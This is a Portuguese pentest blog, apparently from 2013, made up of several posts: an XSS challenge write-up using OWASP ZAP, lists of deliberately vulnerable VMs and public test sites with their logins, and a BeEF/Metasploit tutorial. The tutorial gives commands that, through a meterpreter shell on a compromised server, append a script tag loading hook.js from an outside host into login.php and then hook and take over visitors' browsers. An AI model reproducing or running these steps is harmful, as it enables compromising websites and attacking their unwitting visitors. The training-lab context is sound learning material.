Como não posso usar nenhum símbolo o que eu posso fazer? Depois de pensar muuuuito eu lembrei de uma das minhas aulas da Clavis onde demos uma leve passada por uma tool chamada Burp Suite, que uma de suas funções é manipular os GETS, POSTS e tudo mais de uma aplicação web, com isso quem sabe eu poderia manipular depois desse teste meu input e assim explorar o XSS.

Depois de muito procurar na distro disponibilizada pelo hacking-lab percebi que eles não tinham o Burp Suite disponível para uso e então fui em busca do download pelos repositórios que também não tinham. Apos algumas buscas no Google consegui baixar mas não consegui usar, parece que não tem java essa vm...

Depois de perder um bom tempo dando voltas achando um modo de fazer aquilo funcionar decidi dar uma olhada nas tools que eles tinham disponíveis, e eis que encontro um tal de OWASP ZAP. Novamente fui para as buscas e manuais para aprender como usar e configurar essa tool e vi que não é muito difícil, no próprio site da tool tem tudo explicadinho.


Após tudo configurado e funcionando vamos ao site alvo. O OWASP ZAP é bem similar ao Burp Suite no que eu sei usar então não foi uma adaptação muito difícil.

O Firefox da VM tem um plug-in já configurado com o proxy do ZAP, só ativar e iniciar a interceptação no proxy, clicando nas duas setas verdes na barra de ferramentas, sendo uma delas para interceptar as requisições e a outra para as respostas do servidor.



Agora com tudo pronto vamos a exploração. Coloco qualquer coisa no campo de comentário e assim que eu clicar em adicionar (Add) eu já vou ter um resultado no ZAP.



Repare que no final da terceira linha eu tenho um parâmetro chamado comment=teste, vamos alterá-lo para nosso código malicioso de teste e ver o que acontece:


E ai está! Consegui burlar o filtro e injetar meu código que vai rodar para todos os usuários que visualizarem a página com os comentários. Agora para o desafio, só precisamos alterar o comando para o comando que manda o cookie, mas isso eu deixo para vocês para completarem o desafio.

Bons estudos!

segunda-feira, 8 de julho de 2013

Procurando algumas aplicações vulneráveis para testar seus conhecimentos? De uma olhada no infográfico abaixo:


O site amanhardikar.com criou este esquema para você conhecer, testar e organizar seu lab de pentest. Para mais informações sobre download das vm's e aplicações disponíveis acesse o site.

sábado, 25 de maio de 2013


O PentesterLab é um modo simples e focado para aprender os ataques básicos usados hoje em dia. São vários sistemas vulneráveis em discos virtuais, com muitos exercícios para testar e aprender como funciona nas vulnerabilidades.
A única coisa que você precisa fazer é baixar a imagem, escolher que tipo de vulnerabilidade que você quer aprender. Você precisa de algum programa para rodar a vm, como por exemplo o VmWare ou o Virtual Box, não é necessário acesso a internet.

O que você pode aprender
  • Conceitos básico de aplicações Web
  • Conceitos de HTTP
  • Detecção das principais vulnerabilidades web:
    • Cross-Site Scripting
    • SQL injections
    • Directory traversal
    • Command injection
    • Code injection
    • XML attacks
    • LDAP attacks
    • File upload
  • Conceitos de fingerprinting
Requisitos
  • Um software de virtualização
  • Conhecimentos básicos de HTTP
  • Conhecimentos básicos de PHP

Para informações de Download acesse o site PentesterLab.com

sábado, 18 de maio de 2013

E vamos a ultima parte da série "Invadindo Sem Ir Para a Cadeia", hoje com alguns sites hospedados normalmente por grandes empresas desenvolvedoras de tools para pentest, onde você pode brincar com as ferramentas em um site real e funcional e realmente hospedado na internet e 100% público, e então vamos a eles:

Acunetix:
http://testasp.vulnweb.com (Forum - ASP)
http://testaspnet.vulnweb.com (Blog - .NET)
http://testphp.vulnweb.com (Art shopping - PHP)
Cenzic CrackMeBank: http://crackme.cenzic.com
Google Gruyere (Python): http://google-gruyere.appspot.com/start
Hacking-Lab (eg. OWASP Top 10): https://www.hacking-lab.com/events/registerform.html?eventid=245
Hack.me (beta): https://hack.me
HackThisSite (HTS - Basic & Realistic (web) Missions): http://www.hackthissite.org
Hackxor online demo: http://hackxor.sourceforge.net/cgi-bin/index.pl#demo (algo/smurf)
HP/SpiDynamics Free Bank Online: http://zero.webappsecurity.com (admin/admin)
IBM/Watchfire AltoroMutual: http://demo.testfire.net (jsmith/Demo1234)
NTOSpider Web Scanner Test Site: http://www.webscantest.com (testuser/testpass)
OWASP Hackademic Challenges Project - Live (PHP - Joomla): http://hackademic1.teilar.gr

E era isso!

Com todo essa gama de vm's, sites hospedados ou não, você vai adquirir conhecimentos suficientes para se considerar um conhecedor de falhas em aplicações web, mas lembre-se novas vulnerabilidades são descobertas todos os dias, então não deixe de estudar nunca. E cuidado com o que você faz com esse conhecimento. Eu fico por aqui mas ainda temos muito estudo pela frente.

Bons estudos ;)

sexta-feira, 17 de maio de 2013

E ai galera!

Continuando com essa série de posts vamos ver hoje algumas vm's vulneráveis para testar seus conhecimentos em sistemas, falhas de servidores e clientes. Todas as vm's podem ser usadas em qualquer programa, mas eu indico o Virtual Box, o melhor gerenciador de vm's gratuito que temos por ai.

Do mesmo modo que o post anterior as vm's tem vulnerabilidades diferentes então recomendo que baixe e teste a maior quantidade de vm's para ficar por dentro das falhas.

BadStore (ISO): http://www.badstore.net (download - registration required)
OWASP BWA - Broken Web Applications Project (VMware - list):https://www.owasp.org/index.php/OWASP_Broken_Web_Applications_Project
Drunk Admin Web Hacking Challenge (VMware): https://bechtsoudis.com/work-stuff/challenges/drunk-admin-web-hacking-challenge/ (download)
Exploit.co.il Vuln Web App (VMware): http://exploit.co.il/projects/vuln-web-app/ (download)
GameOver (VMware): http://sourceforge.net/projects/null-gameover/ (download)
Hackxor (VMware): http://hackxor.sourceforge.net/cgi-bin/index.pl (download) (hints&tips)
Kioptrix4 (VMware & Hyper-V): http://www.kioptrix.com/blog/?p=604 (download)
LAMPSecurity (VMware): http://sourceforge.net/projects/lampsecurity/ (download) (doc)
Metasploitable (VMware): http://blog.metasploit.com/2010/05/introducing-metasploitable.html (download - torrent) (doc)
Metasploitable 2 (VMware): https://community.rapid7.com/docs/DOC-1875 (download)
Moth (VMware): http://www.bonsai-sec.com/en/research/moth.php (download)
Samurai WTF (ISO - list): http://www.samurai-wtf.org (download)
Sauron (Quemu) [Spanish]: http://sg6-labs.blogspot.com/2007/12/secgame-1-sauron.html(solutions)
Virtual Hacking Lab (ZIP): http://sourceforge.net/projects/virtualhacking/ (download)
Web Security Dojo (VMware, VirtualBox - list):http://www.mavensecurity.com/web_security_dojo/ (download)

E era isso!

Divirtam-se e aguardem que por ai vem pelo menos mais um post sobre o assunto.
E ai pessoal!

Hoje vou postar um extra que estava no paper, além de atacar e dominar o site, além de tomar o controle do servidor, vamos agora um pouco mais além. Vamos usar o BeEF (Browser Exploit Framework) para atacar os visitantes que acessam nosso site infectado. E vamos lá!

1. Inicie o beef
root@bt:/pentest/web/beef# ./beef -x -v



2. No site do Metasploit, baixe o plugin do BeEF para o Metasploit no link “https://github.com/xntrik/beefmetasploitplugin.git”


$ cd /pentest/exploits/framework/msf3
$ git clone https://github.com/xntrik/beefmetasploitplugin.git
Initialized empty Git repository in /opt/metasploit/msf3/beefmetasploitplugin/.git/






3. Mova os arquivos beef.rb para msf/plugins e lib/beef para msf/lib


$ root@bt:/pentest/exploits/framework/msf3# mv beefmetasploitplugin/lib/beef lib/
$ root@bt:/pentest/exploits/framework/msf3# mv beefmetasploitplugin/plugins/beef.rb plugins/



4. Instale hpricot,json e gem

$ root@bt:/pentest/exploits/framework/msf3# gem install hpricot json

5. No console do Metasploit, carregue o plugin do BeEF.
msf > load beef




6.Conecte no BeEF
msf > beef_connect
msf > beef_connect http://127.0.0.1:3000 beef beef




7. Neste passo, vamos habilitar para que o script do BeEF seja executado em todos os clientes que acessarem a página. Voltando um pouco para a shell meterpeter no ultimo passo do ataque com o sqlmap, baixe o arquivo login.php e adicione o script "<script src='http://192.168.77.137:3000/hook.js></script>" no arquivo e faça o upload novamente.


meterpreter > download login.php .
[*] downloading: login.php -> ./login.php
[*] downloaded : login.php -> ./login.php




root@bt:~# echo "<script src='http://192.168.77.137:3000/hook.js></script>" >> login.php
meterpreter > upload login.php .
[*] uploading : login.php -> .
[*] uploaded : login.php -> ./login.php meterpreter >

Agora, quando a vitima acessar o site ela vai rodar o script do BeEF.



8. Vá para a interface web de gerenciamento do BeEF (http://127.0.0.1:3000/ui/panel), e logue com o usuário “beef” e senha “beef”:







9. Se alguém visitar a página login.php, ela será atacada pelo BeEF e no seu painel você pode ver a lista dos que já foram atacados.






Se você quiser ver informações detalhadas clique em cima da vítima que as informações serão apresentadas do lado direito da tela.






Estas informações também podem ser vistas no terminal, no console do Metasploit usando o seguinte comando:
msf > beef_online






E para detalhes use o comando:
msf > beef_targetmsf > beef_target -i 0









Após levantarmos todas essas informações vamos utilizar o seguinte comando:


msf > beef_target -c 0 47








Após isso, estaremos usando o Man-in-The-Browser na vítima.




E com isso finalizamos o paper! Aprendemos aqui um método de fazer todo o processo de scan, levantamento de informações, analise de vulnerabilidades e um ataque um tanto quanto elaborado, resultando em um site "ownado", um server em nosso poder e todos, ou boa parte dos visitantes infectados assim que acessarem o site.

Agora é com vocês aprimorar essas técnicas, mas cuidado, conhecimento não é crime, o uso que você pode dar para ele pode ser ;)

Bons estudos!
Subscribe to RSS Feed Follow me on Twitter!